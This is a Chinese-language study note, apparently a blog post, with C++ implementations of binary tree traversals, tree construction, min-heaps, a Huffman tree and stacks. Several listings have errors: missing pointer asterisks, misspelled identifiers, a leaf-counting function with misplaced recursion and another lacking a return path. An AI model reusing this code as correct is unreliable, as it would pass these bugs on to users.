	{
	return (t!=0) ? t->leftChild : 0;// 返回左子女
	}
	BinTreeNode<T> RightChild(BinTreeNode<T> t) // 求结点 t 的右子女
	{
	return (t!=0) ? t->rightChild : 0;// 返回右子女
	}
	BinTreeNode<T> *getRoot() // 取根
	{
	return root;
	}
	};

# 11. 前序遍历

# 递归算法

	template<class T>
	void BinaryTree<T>::preOrder(BinTreeNode<T> subTree,void (visit)(BinTreeNode<T> *p))// 前序遍历
	{
	if(subTree!=0)// 二叉树非空
	{
	visit(subTree); // 对根结点进行访问
	preOrder(subTree->leftChild,visit); // 对左子树进行遍历
	preOrder(subTree->rightchild,visit); // 对右子树进行遍历
	}
	}

# 非递归算法

	void BinaryTree<T>::preOrder(void (visit)(BinTreeNode<T> p))// 前序遍历非递归
	{
	stack<BinTreeNode<T> *> s; // 定义栈对象，存储二叉树节点指针
	BinTreeNode<T> *t = root; // 定义指针 t 并初始化为根节点

	// 栈非空或当前节点非空时循环
	while (!s.empty() \|\| t != nullptr)
	{
	// 遍历左子树，直到最左节点
	while (t != nullptr)
	{
	visit(t); // 访问当前节点
	s.push(t); // 当前节点入栈
	t = t->leftChild; // 移动到左子节点
	}

	// 处理右子树
	if (!s.empty())
	{
	t = s.top(); // 获取栈顶节点
	s.pop(); // 栈顶节点出栈
	t = t->rightChild; // 移动到右子节点
	}
	}
	}

# 12. 中序遍历

# 递归算法

	template<class T>
	void BinaryTree<T>::inOrder(BinTreeNode<T> subTree,void (visit)(BinTreeNode<T> *p))// 中序遍历
	{
	if(subTree!=0)// 二叉树非空
	{
	inOrder(subTree->leftchild,visit); // 对左子树进行遍历
	visit(subTree); // 对根结点进行访问
	inOrder(subTree->rightchild,visit); // 对右子树进行遍历
	}
	}

# 非递归算法

	void BinaryTree<T>::inOrder(void (visit)(BinTreeNode<T> p))// 中序遍历非递归
	{
	stack<BinTreeNode<T> *> s; // 定义栈对象，存储二叉树节点指针
	BinTreeNode<T> *t = root; // 定义指针 t 并初始化为根节点

	// 栈非空或当前节点非空时循环
	while (!s.empty() \|\| t != nullptr)
	{
	// 遍历左子树，将所有左节点入栈
	while (t != nullptr)
	{
	s.push(t); // 当前节点入栈
	t = t->leftChild; // 移动到左子节点
	}

	// 处理栈顶节点和右子树
	if (!s.empty())
	{
	t = s.top(); // 获取栈顶节点
	s.pop(); // 栈顶节点出栈
	visit(t); // 访问当前节点（中序遍历在此访问）
	t = t->rightChild; // 移动到右子节点
	}
	}
	}

# 13. 后序遍历

# 递归算法

	template<class T>
	void BinaryTree<T>::PostOrder(BinTreeNode<T> subTree,void (visit)(BinTreeNode<T> *p))// 后序遍历
	{
	if(subTree!=0)// 二叉树非空
	{
	PostOrder(subTree->leftChild,visit); // 对左子树进行遍历
	PostOrder(subTree->rightchild,visit); // 对右子树进行遍历
	visit(subTree); // 对根结点进行访问
	}
	}

# 非递归算法

第一次进栈（ flag=0 ）：说明还没访问右子树；

第二次进栈（ flag=1 ）：说明左右子树都访问完了，该访问根。

	void BinaryTree<T>::PostOrder(void (visit)(BinTreeNode<T> p))// 后序遍历非递归
	{
	stack<BinTreeNode<T> *> s1; // 存储节点的栈
	stack<int> s2; // 存储节点进栈标志的栈（0 表示第一次进栈，1 表示第二次进栈）
	BinTreeNode<T> *t = root; // 定义当前节点指针并初始化为根节点
	int flag; // 用于接收栈 s2 弹出的标志值

	// 栈非空或当前节点非空时循环
	while (!s1.empty() \|\| t != nullptr)
	{
	// 第一步：遍历左子树，所有节点第一次进栈（flag=0）
	while (t != nullptr)
	{
	s1.push(t); // 节点进栈
	s2.push(0); // 标记为第一次进栈
	t = t->leftChild; // 移动到左子节点
	}

	// 第二步：处理栈顶节点
	if (!s1.empty())
	{
	t = s1.top(); // 获取栈顶节点
	s1.pop(); // 节点出栈
	flag = s2.top(); // 获取对应标志
	s2.pop(); // 标志出栈

	if (flag == 1) // 第二次出栈：左右子树已处理完，可访问当前节点
	{
	visit(t); // 访问节点
	t = nullptr; // 重置当前节点，准备处理下一个栈顶元素
	}
	else // 第一次出栈：需先处理右子树，节点第二次进栈（flag=1）
	{
	s1.push(t); // 节点再次进栈
	s2.push(1); // 标记为第二次进栈
	t = t->rightChild; // 移动到右子节点
	}
	}
	}
	}

# 14. 层次遍历

	// 层次遍历非递归
	template<class T>
	void BinaryTree<T>::levelOrder(void (visit)(BinTreeNode<T> p))
	{
	if(root==nullptr)// 空树直接返回
	{
	return;
	}
	queue<BinTreeNode<T> *> q;// 用于存储结点的队列
	BinTreeNode<T> *current=nullptr;// 当前处理的结点

	q.push(root);// 根结点入队

	// 队列非空时循环
	while(!q.empty())
	{
	// 出队一个结点
	current=q.front();
	q.pop();// 移除队列第 1 个结点

	// 访问当前结点
	visit(current);

	// 如果左子结点存在，入队
	if(current->leftChild != nullptr)
	{
	q.push(current->leftChild);
	}

	// 如果右子结点存在，入队
	if(current->rightChild != nullptr)
	{
	q.push(current->rightChild);
	}
	}
	}

# 15. 销毁二叉树

	// 销毁二叉树（递归实现）
	void destroy(BinTreeNode<T> *subTree)
	{
	if (subTree != nullptr) // 如果当前结点不为空
	{
	destroy(subTree->leftChild); // 先销毁左子树
	destroy(subTree->rightChild); // 再销毁右子树
	delete subTree; // 最后删除当前结点
	}
	}

# 16. 复制二叉树

	// 复制二叉树（递归实现）
	BinTreeNode<T> Copy(BinTreeNode<T> r)
	{
	if (r == nullptr) // 如果源树为空，返回空
	return nullptr;

	// 创建新结点，复制数据
	BinTreeNode<T> *p = new BinTreeNode<T>(r->data);
	p->leftChild = Copy(r->leftChild); // 递归复制左子树
	p->rightChild = Copy(r->rightChild); // 递归复制右子树
	return p; // 返回复制后的结点
	}

# 17. 计算二叉树高度

	// 计算二叉树高度（递归实现）
	int Height(BinTreeNode<T> *subTree)
	{
	if (subTree == nullptr) // 空树高度为 0
	return 0;

	int hL = Height(subTree->leftChild); // 计算左子树高度
	int hR = Height(subTree->rightChild); // 计算右子树高度
	// 树的高度 = 左右子树最大高度 + 1（当前结点）
	return (hL > hR ? hL : hR) + 1;
	}

# 18. 计算二叉树结点总数

	// 计算二叉树结点总数（递归实现）
	int Size(BinTreeNode<T> *subTree)
	{
	if (subTree == nullptr) // 空树结点数为 0
	return 0;

	// 结点总数 = 1（当前结点） + 左子树结点数 + 右子树结点数
	return 1 + Size(subTree->leftChild) + Size(subTree->rightChild);
	}

# 19. 查找值为 x 的结点

	// 查找值为 x 的结点（递归实现）
	BinTreeNode<T> Find(BinTreeNode<T> subTree, T &x) const
	{
	if (subTree == nullptr) // 空树中无此结点
	return nullptr;

	if (subTree->data == x) // 当前结点就是要找的结点
	return subTree;

	// 先在左子树中查找
	BinTreeNode<T> *p = Find(subTree->leftChild, x);
	if (p != nullptr) // 左子树中找到
	return p;

	// 左子树中未找到，在右子树中查找
	return Find(subTree->rightChild, x);
	}

# 20. 查找结点 t 的父结点

	// 查找结点 t 的父结点（递归实现）
	BinTreeNode<T> Parent(BinTreeNode<T> subTree, BinTreeNode<T> *t)
	{
	// 如果当前子树为空，或为叶子结点，没有子结点，返回空
	if (subTree == nullptr \|\| (subTree->leftChild == nullptr && subTree->rightChild == nullptr))
	return nullptr;

	// 如果当前结点的左孩子或右孩子是 t，则当前结点是 t 的父结点
	if (subTree->leftChild == t \|\| subTree->rightChild == t)
	return subTree;

	// 先在左子树中查找
	BinTreeNode<T> *p = Parent(subTree->leftChild, t);
	if (p != nullptr) // 左子树中找到
	return p;

	// 左子树中未找到，在右子树中查找
	return Parent(subTree->rightChild, t);
	}

# 21. 从输入流创建二叉树

	// 从输入流创建二叉树（递归实现）
	// 参数：in - 输入流，subTree - 当前子树根节点的引用
	void CreateBinTree(istream &in, BinTreeNode<T> *&subTree)
	{
	T item; // 存储读取到的数据
	if (!(in >> item)) // 读取数据失败（如到达文件末尾）
	return;

	if (item == RefValue) // 如果读取到的是标记空结点的值
	{
	subTree = nullptr; // 当前子树为空
	}
	else // 否则创建新结点并递归构建左右子树
	{
	subTree = new BinTreeNode<T>(item); // 创建新结点
	CreateBinTree(in, subTree->leftChild); // 递归构建左子树
	CreateBinTree(in, subTree->rightChild); // 递归构建右子树
	}
	}


	// 重载输入运算符，用于从输入流创建二叉树
	friend istream &operator>>(istream &in, BinaryTree<T> &Tree)
	{
	Tree.destroy(Tree.root); // 先销毁原有树结构
	Tree.CreateBinTree(in, Tree.root); // 从输入流创建新树
	return in;
	}

	// 重载输出运算符，用于先序遍历输出二叉树
	friend ostream &operator<<(ostream &out, BinaryTree<T> &Tree)
	{
	Tree.PreOrderPrint(Tree.root, out); // 先序遍历输出
	return out;
	}

# 22. 左右子树交换

	void Exchange(BinTreeNode<T> *t)
	{
	if(t!=0)// 二叉树非空
	{
	BinTreeNode<T> *x=t->leftChild;
	t->leftChild=t->rightchild;
	t->rightchild=x;
	Exchange(t->leftChild);// 对左子树进行遍历
	Exchange(t->rightchild);// 对右子树进行遍历
	}
	}

# 23. 计算二叉树叶子结点

# 使用全局变量

	int counter=0;// 全局变量
	void Leaves(BinTreeNode<T> *t)// 二叉树的叶子总数
	{
	if(t!=0)// 二叉树非空
	{
	if(t->leftchild==0 && t->rightchild==0)
	{
	counter++;
	}
	Leaves(t->leftchild);// 对左子树进行统计
	Leaves(t->rightchild);// 对右子树进行统计
	}
	}

# 用引用参数传递计数变量

	// 把计数器 counter 作为引用参数传进函数。
	// 每次递归时，所有层都共享同一个 counter。
	// 不需要全局变量，避免副作用。
	int n=0;
	void Leaves(BinTreeNode<T> *t,int &counter)
	{
	if(t!=0)// 二叉树非空
	{
	if(t->leftchild==0 && t->rightchild==0)
	{
	counter++;
	Leaves(t->leftchild,counter);// 对左子树进行统计
	Leaves(t->rightchild,counter);// 对右子树进行统计
	}
	}
	}

# 返回值递归累加

	int Leaves(BinTreeNode<T> *t)
	{
	if(t!=0)// 二叉树非空
	{
	if(t->leftchild==0 && t->rightchild==0)
	{
	return 1;
	}
	else
	{
	return Leaves(t->leftchild)+Leaves(t->rightchild);
	}
	}
	}

# 24. 二叉树的生成

# 前序建立算法

	template<class T>
	BinTreeNode<T> *BinaryTree<T>::CreateBTree()// 前序建立算法
	{
	char ch;
	BinTreeNode<T> *current;
	cin >>ch;
	if(ch=='.')// 输入的是否为 '.'
	{
	return 0;// 建立空树
	}
	else//else 可省略
	{
	current=new BinTreeNode<T>;// 分配结点空间
	current->data=ch;// 填入结点值
	current->leftchild=CraeteBTree();// 建立左子树
	current->rightchild=CreateBTree();// 建立右子树
	return current;
	}
	}

# 中序建立算法

	template<class T>
	BinTreeNode<T> *BinaryTree<T>::CreateBTree()// 中序建立算法
	{
	char ch;
	BinTreeNode<T> q,current;
	cin >>ch;
	if(ch=='.')// 输入的是否为符号 '.'
	{
	return 0;// 建立空树
	}
	else
	{
	q=CreateBTree();// 建立左子树
	current=new BinTreeNode<T>;// 分配结点空间
	current->data=ch;// 填入结点值
	current->leftchild=q;// 建立左子树
	current->rightchild=CreateBTree();// 建立右子树
	return current;
	}
	}

# 后序建立算法

	template<class T>
	BinTreeNode<T> *BinaryTree<T>::CreateBTree()// 后序建立算法
	{
	char ch;
	BinTreeNode<T> tl,tr,*current;
	cin >>ch;
	if(ch=='.')// 输入的是否为符号 '.'
	{
	return 0;// 建立空树
	}
	else
	{
	tl=CreateBTree();// 建立左子树
	tr=CreateBTree();// 建立右子树
	current=new BinTreeNode<T>;// 分配结点空间
	current->data=ch;// 填入结点值
	current->leftchild=tl;
	current->rightchild=tr;
	return current;
	}
	}

# 25. 顺序 --> 链式结构

	//k 为当前要建立的结点在数组中的下标
	BinTreeNode<T> *BinaryTree<T>::Change(int S[],int n,int k)// 顺序 --> 链式结构
	{
	BinTreeNode<T> *current;
	if(k>n)// 结点不存在
	{
	return 0;// 建立空树
	}
	else
	{
	current=new BinTreeNode<T>;// 分配结点空间
	current->data=S[k];// 填入结点值
	current->leftchild=Change(S,n,2*k);// 建立左子树
	current->rightchild=Change(S,n,2*k+1);// 建立右子树
	return current;
	}
	}

# 26. 广义表 --> 二叉树

	template<class T>
	void BinaryTree<T>::Create2()
	{
	stack<BinTreeNode<T> *> s; // C++ STL stack
	int k=0; // 记录当前要插入的是左孩子 (1) 还是右孩子 (2)
	char ch;
	BinTreeNode<T> p = nullptr, t = nullptr; // 初始化指针，避免野指针
	root = nullptr; // 替换 0 为 nullptr，指针语义更清晰
	cin >> ch; // 读入第一个字符
	while (ch != '.') // 以 '.' 作为输入结束标志
	{
	switch(ch)
	{
	case '(':
	s.push(p);
	k = 1; // 左孩子准备来了
	break;

	case ',':
	k = 2; // 右孩子准备来了
	break;

	case ')':
	t = s.top();
	s.pop();
	break;

	default:
	p = new BinTreeNode<T>;
	p->data = ch; // 是结点值就生成节点
	p->leftchild = p->rightchild = nullptr; // 初始化左右孩子为空
	if (root == nullptr)
	{
	root = p; // 如果是第一个结点，则为根
	}
	else
	{
	if (k == 1) // 作为左孩子
	{
	t = s.top();
	t->leftchild = p; // 作为左孩子插入
	}
	else //k==2，作为右孩子
	{
	t = s.top();
	t->rightchild = p; // 作为右孩子插入
	}
	}
	}
	cin >> ch; // 继续读入下一个字符
	}
	}

# 27. 二叉树 --> 广义表

	template<class T>
	void BinaryTree<T>::Print()// 二叉树转广义表
	{
	if(t!=0)
	{
	cout <<t->data;// 先输入当前结点值
	if(t->leftchild!=0)// 有无孩子
	{
	cout <<'(';// 有孩子就先输出
	Print(t->leftchild);// 输出左子树
	if(t->rightchild!=0)// 有无右子树
	{
	cout <<',';// 有右子树才输出
	Print(t->rightchild);// 输出右子树
	}
	cout <<')';// 输出括号)
	}
	}
	}

	//AI 修正
	template<class T>
	void BinaryTree<T>::Print(BinTreeNode<T> *t) // 补充参数 t：当前要打印的子树根节点
	{
	if (t != nullptr) // 1. 替换 0 为 nullptr，指针判空更规范
	{
	cout << t->data; // 先输出当前结点值（广义表的根节点）
	if (t->leftchild != nullptr) // 有左 / 右孩子（只要有孩子就需要括号）
	{
	cout << '('; // 左括号，包裹子节点
	Print(t->leftchild); // 递归打印左子树
	if (t->rightchild != nullptr) // 有右子树才输出逗号分隔
	{
	cout << ','; // 逗号分隔左右子树
	Print(t->rightchild); // 递归打印右子树
	}
	cout << ')'; // 右括号，闭合子节点
	}
	}
	}

	// 可选：提供无参重载版本，直接从根节点开始打印（更易用）
	template<class T>
	void BinaryTree<T>::Print()
	{
	Print(root); // 调用带参版本，传入整棵树的根节点 root
	cout << endl; // 打印结束后换行，格式更整洁
	}

# 28. 求二叉树深度

	int BinaryTree<T>::Depth()//public 成员函数
	{
	return Depth(root);
	}

	int BinaryTree<T>::Depth(BinTreeNode<T> *t)//private 成员函数
	{
	int LeftDepth,RightDepth;
	if(t==0)
	{
	return 0;// 二叉树为空，深度为 0
	}
	else
	{
	LeftDepth=Depth(t->leftChild);// 求左子树的深度
	RightDepth=Depth(t->rightchild);// 求右子树深度
	if(LeftDepth>RightDepth)// 改变当前结点的深度
	{
	return LeftDepth+1;
	}
	else
	{
	return RightDepth+1;
	}
	}
	}

# 29. 根据前中序确定建立算法

	//stra 先序遍历序列 starta 起始下标
	//strb 中序遍历序列 startb 起始下标
	//lena 当前子树的结点数量
	template<class T>
	BinTreeNode<T> CreateBTree(char stra,int starta,char *strb,int startb,int lena)
	{
	for(int i=0;i<lena;++i)
	{
	if(stra[starta]==strb[startb+i])// 寻找根结点
	{
	BinTreeNode<T> *p=new BinTreeNode<T>;
	p->data=stra[starta];
	p->leftChild=CreateBTree(stra,starta+1,strb,startb,i);
	p->rightchild=CreateBTree(stra,starta+i+1,startb+i+1,lena-i-1);
	return p;
	}
	}
	return 0;
	}

# 三、线索二叉树

当某个结点的左指针本来是空时，把它指向这个结点的中序前驱；
当某个结点的右指针本来是空时，把它指向这个结点的中序后继。

# 四、树和森林

# 1. 树的遍历

# 2. 森林的遍历

# 五、堆

如果没有特别说明，默认是小根堆

# 1. 最小堆的类定义

	#define DefaultSize 10
	template<class T>
	class MinHeap// 最小堆的类定义
	{
	T *heap;// 指向存放堆元素的数组
	int CurrentSize;// 当前堆中元素个数
	int MaxHeapSize;// 堆的最大容量

	public:
	MinHeap(int sz=DefaultSize);// 构造函数初始化堆
	MinHeap(T arr[],int n);
	~MinHeap()// 析构函数
	{
	delete []heap;
	}
	const MinHeap<T> &operator=(const MinHeap &R);
	bool Insert(const T &x);
	bool IsEmpty() const
	{
	return CurrentSize==0;
	}
	bool IsFull() const
	{
	return CurrentSize==MaxHeapSize;
	}
	void MakeEmpty()
	{
	CurrentSize=0;
	}

	private:
	void siftDown(int start,int m);// 向下调整
	void siftUp(int start);// 向上调整
	};

# 2. 构造函数 (创建空堆)

初始化生成空堆

	template<class T>
	MinHeap<T>::MinHeap(int sz)// 初始化操作生成空堆
	{
	// 根据给定大小 maxSize 建立堆对象
	MaxHeapSize=(sz>DefaultSize) ? sz : DefaultSize;// 确定堆大小
	heap=new T[MaxHeapSize];// 创建堆空间
	CurrentSize=0;// 初始化
	}

# 3. 构造函数 (数组直接建堆)

初始化一个非空最小堆

	template<class T>
	MinHeap<T>::MinHeap(T arr[],int n)// 初始化一个非空最小堆
	{
	// 把最小堆初始化为数组
	MaxHeapSize=(DefaultSize<n) ? n : DefaultSize;
	heap=new T[MaxHeapSize];
	for(int i=0;i<n;++i)// 把原数组元素复制到堆数组里
	{
	heap[i]=arr[i];// 数组传送
	}
	CurrentSize=n;// 当前堆大小

	// 若父节点在 i，左右孩子分别在 2i+1 和 2i+2
	// 则叶子从 n/2 到 n-1
	int currentPos=(CurrentSize-2)/2;// 最后一个非叶子结点
	while(currentPos>=0)// 从最后一个非叶节点开始，对每个节点执行 siftDown，把它下沉到正确位置，一直调整到根节点
	{
	// 从下到上逐步扩大，形成堆
	siftDown(currentPos,CurrentSize-1);
	// 从 currentPos 开始，到 CurrentSize 为止，调整
	currentPos--;
	}
	}

# 4. 向下调整算法

	//start 要开始下滤的结点下标
	//m 堆的最后一个元素下标
	// 若一个节点有父节点，其父节点的索引 = (i-1) // 2（// 表示整数除法）
	template<class T>
	void MinHeap<T>::siftDown(int start,int m)// 向下调整
	{
	int i=start;
	int j=2*i+1;//j 是 i 的左子女
	T temp=heap[i];
	while(j<=m)// 当左孩子下标 j 没有越界时，说明 i 还有子节点，继续下滤。
	{
	if(j<m && heap[j]>heap[j+1])//j<m 就表示有右孩子，且右孩子比左孩子小
	{
	j++;// 如果右孩子存在且比左孩子小，则 j 指向右孩子
	}
	if(temp<=heap[j])// 如果父节点比孩子还小，堆序正确，无需再下移
	{
	break;
	}
	else
	{
	heap[i]=heap[j];// 把较小的孩子上移，父结点一路下滑
	i=j; // 向下继续检查下一层
	j=2*j+1;// 往下走
	}
	}
	heap[i]=temp;
	}

# 5. 向上调整算法

	template<class T>
	void MinHeap<T>::siftUp(int start)// 向上调整算法
	{
	// 从 start 开始，向上直到 0，调整堆
	int j=start;
	int i=(j-1)/2;//i 是 j 的双亲
	T temp=heap[j];// 暂存该结点值，用于最后放置正确位置
	while(j>0)// 只要没到根结点，就继续比较
	{
	if(heap[i]<=temp)// 父结点小于当前结点，满足堆序，不需上移
	{
	break;
	}
	else// 否则
	{
	heap[j]=heap[i];// 把父结点下移
	j=i;
	i=(i-1)/2;// 往上走
	}
	}
	heap[j]=temp;// 找到正确位置，填入结点值
	}

# 6. 插入算法

	template<class T>
	bool MinHeap<T>::Insert(const T &x)// 插入算法
	{
	if(CurrentSize==MaxHeapSize)// 堆满
	{
	cout <<"堆已满" <<endl;
	return 0;
	}
	heap[CurrentSize]=x;// 插在表尾
	siftUp(CurrentSize);// 向上调整为堆
	CurrentSize++;// 堆元素 + 1
	return 1;
	}

# 7. 删除算法

	template<class T>
	int MinHeap<T>::RemoveMin(T &x)// 删除算法
	{
	if(!CurrentSize)
	{
	cout <<"堆已空" <<endl;
	return 0;
	}
	x=heap[0];// 最小元素出队列
	heap[0]=heap[CurrentSize-1];
	CurrentSize--;
	siftDown(0,CurrentSize-1);// 从 0 号位置开始自顶向下调整为堆
	return 1;
	}

# 8. 哈夫曼树

	#include<iostream>
	using namespace std;

	#define DefaultSize 10
	template<class T>
	class MinHeap// 最小堆的类定义
	{
	T *heap;// 指向存放堆元素的数组
	int CurrentSize;// 当前堆中元素个数
	int MaxHeapSize;// 堆的最大容量

	public:
	MinHeap(int sz=DefaultSize);// 构造函数初始化堆
	MinHeap(T arr[],int n);
	~MinHeap()// 析构函数
	{
	delete []heap;
	}
	const MinHeap<T> &operator=(const MinHeap &R);
	bool Insert(const T &x);
	bool IsEmpty() const
	{
	return CurrentSize==0;
	}
	bool IsFull() const
	{
	return CurrentSize==MaxHeapSize;
	}
	void MakeEmpty()
	{
	CurrentSize=0;
	}
	int RemoveMin(T &x);

	private:
	void siftDown(int start,int m);// 向下调整
	void siftUp(int start);// 向上调整
	};

	template<class T>
	MinHeap<T>::MinHeap(int sz)// 初始化操作生成空堆
	{
	MaxHeapSize=(sz>DefaultSize) ? sz : DefaultSize;// 确定堆大小
	heap=new T[MaxHeapSize];// 创建堆空间
	CurrentSize=0;// 初始化
	}

	template<class T>
	void MinHeap<T>::siftDown(int start,int m)// 向下调整
	{
	int i=start;
	int j=2*i+1;
	T temp=heap[i];
	while(j<=m)
	{
	if(j<m && heap[j]->data > heap[j+1]->data)
	{
	j++;
	}
	if(temp->data <= heap[j]->data)
	{
	break;
	}
	else
	{
	heap[i]=heap[j];
	i=j;
	j=2*j+1;
	}
	}
	heap[i]=temp;
	}

	template<class T>
	MinHeap<T>::MinHeap(T arr[],int n)// 初始化一个非空最小堆
	{
	MaxHeapSize=(DefaultSize<n) ? n : DefaultSize;
	heap=new T[MaxHeapSize];
	for(int i=0;i<n;++i)
	{
	heap[i]=arr[i];
	}
	CurrentSize=n;

	int currentPos=(CurrentSize-2)/2;
	while(currentPos>=0)
	{
	siftDown(currentPos,CurrentSize-1);
	currentPos--;
	}
	}

	template<class T>
	void MinHeap<T>::siftUp(int start)// 向上调整算法
	{
	int j=start;
	int i=(j-1)/2;
	T temp=heap[j];
	while(j>0)
	{
	if(heap[i]->data <= temp->data)
	{
	break;
	}
	else
	{
	heap[j]=heap[i];
	j=i;
	i=(i-1)/2;
	}
	}
	heap[j]=temp;
	}

	template<class T>
	bool MinHeap<T>::Insert(const T &x)// 插入算法
	{
	if(CurrentSize==MaxHeapSize)
	{
	cout <<"堆已满" <<endl;
	return 0;
	}
	heap[CurrentSize]=x;
	siftUp(CurrentSize);
	CurrentSize++;
	return 1;
	}

	template<class T>
	int MinHeap<T>::RemoveMin(T &x)// 删除算法
	{
	if(!CurrentSize)
	{
	cout <<"堆已空" <<endl;
	return 0;
	}
	x=heap[0];
	heap[0]=heap[CurrentSize-1];
	CurrentSize--;
	siftDown(0,CurrentSize-1);
	return 1;
	}

	struct HuffmanNode
	{
	float data;// 权值
	HuffmanNode leftChild,rightChild,*parent;
	};

	class HuffmanTree
	{
	HuffmanNode *root;
	void mergeTree(HuffmanNode ht1,HuffmanNode ht2,HuffmanNode *&parent);

	public:
	HuffmanTree(float w[],int n);
	~HuffmanTree(){};
	};

	HuffmanTree::HuffmanTree(float w[],int n)
	{
	MinHeap<HuffmanNode*> hp;// 把所有权值变成 “单节点树”，放入最小堆
	//first、second：每次取出的两棵最小树 parent：新合并的树 work：临时新节点
	HuffmanNode parent,first,second,work;
	for(int i=0;i<n;++i)// 把每个权值变成一个结点
	{
	work=new HuffmanNode;
	work->data=w[i];
	work->leftChild=work->rightChild=work->parent=0;
	hp.Insert(work);
	}
	for(int i=0;i<n-1;++i)
	{
	hp.RemoveMin(first);// 取最小权值树
	hp.RemoveMin(second);// 取次小权值树
	mergeTree(first,second,parent);// 合并成新树
	hp.Insert(parent);// 新树放回堆
	}
	root=parent;
	}

	void HuffmanTree::mergeTree(HuffmanNode ht1,HuffmanNode ht2,HuffmanNode *&parent)
	{
	parent=new HuffmanNode;
	parent->data=ht1->data+ht2->data;
	parent->leftChild=ht1;
	parent->rightChild=ht2;
	ht1->parent=ht2->parent=parent;
	}

栈和队列

2026-02-13T09:32:10.000Z

顺序栈
1.1 栈的抽象数据类型
1.2 顺序栈的类定义
1.3 构造函数
1.4 析构函数
1.5 栈溢出处理函数
1.6 进栈操作
1.7 出栈操作
1.8 取栈顶操作
链式栈
2.1 链式栈类的定义
2.2 清空操作
2.3 进栈操作
2.4 出栈操作
2.5 取栈顶操作
双栈共享一个栈空间
3.1 进栈操作
3.2 出栈操作
顺序队列
4.1 队列的抽象数据类型
4.2 顺序队列的类定义
4.3 入队操作
4.4 出队操作
循环队列
5.1 首尾结合的实现
5.2 "空"" 满 " 问题的实现
5.3 判满操作
5.4 计算元素个数
链式队列
6.1 链式队列结点类定义
6.2 链式队列类定义
6.3 入队操作
6.4 出队操作
6.5 取队头元素操作
6.6 析构函数

# 一、顺序栈

# 1. 栈的抽象数据类型

	// 栈的抽象数据类型
	template<class T>
	class Stack // 栈的类定义
	{
	Stack(); // 构造函数
	virtual void Push(T x)=0; // 进栈
	virtual bool Pop(T &x)=0; // 出栈
	virtual bool getTop(T &x)=0; // 取栈顶
	virtual bool IsEmpty()=0; // 判栈空
	virtual bool IsFull()=0; // 判栈满
	};

# 2. 顺序栈的类定义

	template<class T>
	class SeqStack // 顺序栈类定义
	{
	T *elements; // 栈元素存放数组
	int top; // 栈顶指针
	int maxSize; // 栈最大容量
	void overflowProcess(); // 栈的溢出处理

	public:
	SeqStack(int sz=50); // 构造函数
	~SeqStack(); // 析构函数
	void Push(T x); // 进栈
	bool Pop(T &x); // 出栈
	bool getTop(T &x); // 取栈顶内容
	bool IsEmpty() const
	{
	return top==-1;
	}
	bool IsFull() const
	{
	return top==maxSize-1;
	}
	};

# 3. 构造函数

	template<class T>
	SeqStack<T>::SeqStack(int sz) : maxSize(sz)// 构造函数
	{
	top=-1;
	elements=new T[maxSize];
	assert(elements!=NULL);// 判断是否分配成功
	}

# 4. 析构函数

	template<class T>
	SeqStack<T>::~SeqStack()// 析构函数
	{
	delete []elements;
	}

# 5. 栈溢出处理函数

	template<class T>
	void SeqStack<T>::overflowProcess()// 栈溢出处理函数
	{
	// 当栈满，则执行扩充栈存储空间处理
	T newArray=new T[2maxSize];// 创建更大的存储数组
	for(int i=0;i<=top;++i)
	{
	newArray[i]=elements[i];
	}
	maxSize+=maxSize;
	delete []elements;
	elements=newArray;// 改变 elements 指针
	}

# 6. 进栈操作

	template<class T>
	void SeqStack<T>::Push(T x)// 进栈操作
	{
	if(IsFull()==true)// 栈满 -> 扩充
	{
	overflowProcess();
	}
	elements[++top]=x;// 栈顶指针先 + 1，再进栈
	}

# 7. 出栈操作

	template<class T>
	bool SeqStack<T>::Pop(T &x)// 出栈操作
	{
	if(IsEmpty()==true)
	{
	return false;
	}
	x=elements[top--];// 栈顶指针 - 1
	return true;// 退栈成功
	}

# 8. 取栈顶操作

	template<class T>
	bool SeqStack<T>::getTop(T &x)// 取栈顶操作
	{
	if(IsEmpty()==true)// 若栈不空，则函数返回该栈栈顶元素的地址
	{
	return false;
	}
	x=elements[top];
	return true;
	}

以上算法时间复杂度均为 O (1)

# 二、链式栈

# 1. 链式栈类的定义

	template<class T>
	struct StackNode// 栈结点类定义
	{
	public:
	T data; // 栈结点数据
	StackNode<T> *link; // 结点链指针
	StackNode(T d=0,StackNode<T> *next=NULL) : data(d),link(next){}// 构造函数
	};

	template<class T>
	class LinkedStack// 链式栈类定义
	{
	private:
	StackNode<T> *top; // 栈顶指针
	void output(ostream os,StackNode<T> ptr,int i);// 递归输出栈的所有元素

	public:
	LinkedStack() : top(NULL){} // 构造函数
	~LinkedStack() // 析构函数
	{
	makeEmpty();
	}
	void Push(T x);// 进栈
	bool Pop(T &x);// 出栈
	bool getTop(T &x) const;// 取栈顶
	bool IsEmpty() const
	{
	return top==NULL;
	}
	void makeEmpty();// 清空栈的内容
	friend osetream &operator<<(ostream &os,LinkedStack<T> &s)// 输出栈元素的重载操作 & lt;<
	{
	output(os,s.top,1);
	}
	};

# 2. 清空操作

	template<class T>
	void LinkedStack<T>::makeEmpty()// 清空操作
	{
	StackNode<T> *p;
	while(top!=NULL)
	{
	p=top;
	top=top->link;
	delete p;
	}
	}

# 3. 进栈操作

	template<class T>
	void LinkedStack<T>::Push(T x)// 进栈操作
	{
	// 将元素值 x 插入到链式栈的栈顶，即链头
	top=new StackNode<T>(x,top);// 创建新结点
	assert(top!=NULL);// 创建失败退出
	}

# 4. 出栈操作

	template<class T>
	bool LinkedStack<T>::Pop(T &x)// 出栈操作
	{
	// 删除栈顶结点，返回被删栈顶元素的值
	if(IsEmpty()==true)
	{
	return false;// 栈空返回
	}
	StackNode<T> *p=top;// 暂存栈顶元素
	top=top->link;// 退栈顶指针
	x=p->data;
	delete p;// 释放结点
	return true;
	}

进栈和出栈算法等等时间复杂度均为 O (1)

# 5. 取栈顶操作

	template<class T>
	bool LinkedStack<T>::getTop(T &x) const
	{
	if(IsEmpty()==true)
	{
	return false;// 栈空返回
	}
	x=top->data; // 返回栈顶元素的值
	return true;
	}

# 三、双栈共享一个栈空间

# 1. 进栈操作

	// 同一个数组 V [] 来同时存放两个栈
	//top0: 栈 0（左栈）的栈顶指针
	//top1: 栈 1（右栈）的栈顶指针
	bool push(DualStack &DS,Type x,int i)// 向双栈中的第 i 个栈压入元素 x
	{
	if(DS.top0+1==DS.top1)// 栈满
	{
	return false;
	}
	if(i==0)// 若要向第 0 个栈压入元素
	{
	DS.top0++; // 栈顶指针右移一位
	DS.V[DS.top0]=x; // 新元素放入栈顶
	}
	else// 向第 1 个栈压入元素
	{
	DS.top1--; // 栈顶指针左移一位
	DS.V[DS.top1]=x; // 新元素放入栈顶
	}
	return true;// 压栈成功
	}

# 2. 出栈操作

